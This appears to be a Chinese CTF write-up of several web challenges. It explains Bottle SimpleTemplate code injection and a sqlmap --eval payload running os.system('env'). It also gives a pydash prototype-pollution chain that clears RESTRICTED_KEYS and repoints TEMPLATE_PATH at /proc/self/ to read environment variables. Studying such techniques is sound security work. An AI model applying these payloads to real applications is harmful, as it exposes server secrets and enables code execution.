ez_dash
这道题出了个非预期,因为/render路由这里用到的是SimpleTemplate
@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:
return "Hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)
而这个模板引擎支持以<% pycode %>的形式嵌入python代码:
题目代码中并没有对此进行过滤,所以直接就能RCE拿flag
sqlmap-master
没什么好说的,使用sqlmap的--eval参数执行python代码即可,比如127.0.0.1 --eval __import__('os').system('env')
internal_api
todo…
ez_dash_revenge
添加了一大堆限制,基本上应该是没办法耍花招了,先看看题目代码吧:
'''
Hints: Flag在环境变量中
'''
from typing import Optional
import pydash
import bottle
__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","func","render",
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))
def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True
@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"
@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:
return "Hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)
这玩意基本上就是一个基于Bottle框架的Web应用,注册了两个路由,/setValue其实就是个添加了一大堆限制的pydash.set_(obj,path,value),然后/render其实就是个添加了一大堆限制的bottle.template(path)
题目代码并不复杂,打法也显而易见:通过/setValue污染掉一堆不知道什么东西,然后从/render拿flag。
然而比较蛋疼的是我本人对这个什么Bottle框架不能说比较陌生,只能说几乎完全没接触过,之前打CTF也主要是研究Flask相关的一些东西。所以,没办法,只能硬看。
因为最终我们应该是要通过bottle.template(path)获取flag的,所以我们先研究一下这个bottle.template()到底是什么玩意:
# bottle.template() in bottle.py
def template(*args, **kwargs):
"""
Get a rendered template as a string iterator.
You can use a name, a filename or a template string as first parameter.
Template rendering arguments can be passed as dictionaries
or directly (as keyword arguments).
"""
tpl = args[0] if args else None
for dictarg in args[1:]:
kwargs.update(dictarg)
adapter = kwargs.pop('template_adapter', SimpleTemplate)
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
tplid = (id(lookup), tpl)
if tplid not in TEMPLATES or DEBUG:
settings = kwargs.pop('template_settings', {})
if isinstance(tpl, adapter):
TEMPLATES[tplid] = tpl
if settings: TEMPLATES[tplid].prepare(**settings)
elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
else:
TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
if not TEMPLATES[tplid]:
abort(500, 'Template (%s) not found' % tpl)
return TEMPLATES[tplid].render(kwargs)
结合注释可以猜测出这个函数的功能,大概就是,传入一个字符串,首先检查传入的字符串中有没有包含\n { % $,如果存在这些字符,就将传入的字符串视为模板字符串传给adapter(source=tpl, lookup=lookup, **settings)处理,否则将传入的字符串视为文件名传给adapter(name=tpl, lookup=lookup, **settings)处理。可以看到,这里默认的的adapter就是SimpleTemplate
adapter = kwargs.pop('template_adapter', SimpleTemplate)
我们继续看看这个SimpleTemplate是何方神圣
# class SimpleTemplate in bottle.py
class SimpleTemplate(BaseTemplate):
...
继承自BaseTemplate,继续看:
# class BaseTemplate in bottle.py
class BaseTemplate(object):
""" Base class and minimal API for template adapters """
extensions = ['tpl', 'html', 'thtml', 'stpl']
settings = {} #used in prepare()
defaults = {} #used in render()
def __init__(self,
source=None,
name=None,
lookup=None,
encoding='utf8', **settings):
""" Create a new template.
If the source parameter (str or buffer) is missing, the name argument
is used to guess a template filename. Subclasses can assume that
self.source and/or self.filename are set. Both are strings.
The lookup, encoding and settings parameters are stored as instance
variables.
The lookup parameter stores a list containing directory paths.
The encoding parameter should be used to decode byte strings or files.
The settings parameter contains a dict for engine-specific settings.
"""
self.name = name
self.source = source.read() if hasattr(source, 'read') else source
self.filename = source.filename if hasattr(source, 'filename') else None
self.lookup = [os.path.abspath(x) for x in lookup] if lookup else []
self.encoding = encoding
self.settings = self.settings.copy() # Copy from class variable
self.settings.update(settings) # Apply
if not self.source and self.name:
self.filename = self.search(self.name, self.lookup)
if not self.filename:
raise TemplateError('Template %s not found.' % repr(name))
if not self.source and not self.filename:
raise TemplateError('No template specified.')
self.prepare(**self.settings)
@classmethod
def search(cls, name, lookup=None):
""" Search name in all directories specified in lookup.
First without, then with common extensions. Return first hit. """
if not lookup:
raise depr(0, 12, "Empty template lookup path.", "Configure a template lookup path.")
if os.path.isabs(name):
raise depr(0, 12, "Use of absolute path for template name.",
"Refer to templates with names or paths relative to the lookup path.")
for spath in lookup:
spath = os.path.abspath(spath) + os.sep
fname = os.path.abspath(os.path.join(spath, name))
if not fname.startswith(spath): continue
if os.path.isfile(fname): return fname
for ext in cls.extensions:
if os.path.isfile('%s.%s' % (fname, ext)):
return '%s.%s' % (fname, ext)
@classmethod
def global_config(cls, key, *args):
""" This reads or sets the global settings stored in class.settings. """
if args:
cls.settings = cls.settings.copy() # Make settings local to class
cls.settings[key] = args[0]
else:
return cls.settings[key]
def prepare(self, **options):
""" Run preparations (parsing, caching, ...).
It should be possible to call this again to refresh a template or to
update settings.
"""
raise NotImplementedError
def render(self, *args, **kwargs):
""" Render the template with the specified local variables and return
a single byte or unicode string. If it is a byte string, the encoding
must match self.encoding. This method must be thread-safe!
Local variables may be provided in dictionaries (args)
or directly, as keywords (kwargs).
"""
raise NotImplementedError
因为/render对黑名单字符和传入的字符串长度都做了限制,直接传模板字符串这条路大概是走不通的,所以我们跳过这一块,直接观察一下当传入字符串是文件名时发生了什么:
if not self.source and self.name:
self.filename = self.search(self.name, self.lookup)
if not self.filename:
raise TemplateError('Template %s not found.' % repr(name))
继续跟进这个self.search:
@classmethod
def search(cls, name, lookup=None):
""" Search name in all directories specified in lookup.
First without, then with common extensions. Return first hit. """
if not lookup:
raise depr(0, 12, "Empty template lookup path.", "Configure a template lookup path.")
if os.path.isabs(name):
raise depr(0, 12, "Use of absolute path for template name.",
"Refer to templates with names or paths relative to the lookup path.")
for spath in lookup:
spath = os.path.abspath(spath) + os.sep
fname = os.path.abspath(os.path.join(spath, name))
if not fname.startswith(spath): continue
if os.path.isfile(fname): return fname
for ext in cls.extensions:
if os.path.isfile('%s.%s' % (fname, ext)):
return '%s.%s' % (fname, ext)
这里就有点说法了,我们发现这里传入了lookup,这玩意应该是个相对路径,然后他会在这个目录下查找对应名称的模板文件,不过由于if not fname.startswith(spath): continue我们似乎没办法直接用../../进行目录穿越,但是这个题目提供了一个pydash.set_,所以我们看看这个lookup是从哪来的,有没有可能直接把这玩意污染成/proc/self/然后传environ,把环境变量作为模板文件读出:
# bottle.template() in bottle.py
...
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
...
TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
lookup的默认值由TEMPLATE_PATH控制,好像能成,写个demo尝试一下:
import bottle
import pydash
pydash.set_(globals()['bottle'],'TEMPLATE_PATH',['/etc/'])
@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if len(path)>10:
return "hacker"
blacklist=["{","}",".","%","<",">","_"]
for c in path:
if c in blacklist:
return "hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)
结果如图,确实能打
然而,当我想要通过set(setval,"__globals__.bottle.TEMPLATE_PATH",["../../../../proc/self/"])修改TEMPLATE_PATH时,非常遗憾地,这玩意报错了:
不能访问__globals__???不是哥们
经过一番查找,发现RESTRICTED_KEYS
# the fucking restricted keys in pydash/helpers.py
...
#: Object keys that are restricted from access via path access.
RESTRICTED_KEYS = ("__globals__", "__builtins__")
...
直接把这玩意也污染掉,用set(pydash,"helpers.RESTRICTED_KEYS","")
然后再把TEMPLATE_PATH也污染掉,用set(setval,"__globals__.bottle.TEMPLATE_PATH",["../../../../proc/self/"])
大功告成:
顺便记录一下一些相关的知识点:
bottle simpletemplate的模板标识符保存在bottle.StplParser.default_syntax里:
default_syntax = '<% %> % {{ }}'
可能可以通过污染掉这些标识符绕过一些WAF?
通过修改bottle.SimpleTemplate.defaults字典,可以向模板的 Python 执行环境传入变量,这些变量在模板渲染时将可以被直接访问,例如: 
H2 Revenge [还没有复现]
没学java,完全看不明白。。。等哪天学成归来再试试。。。
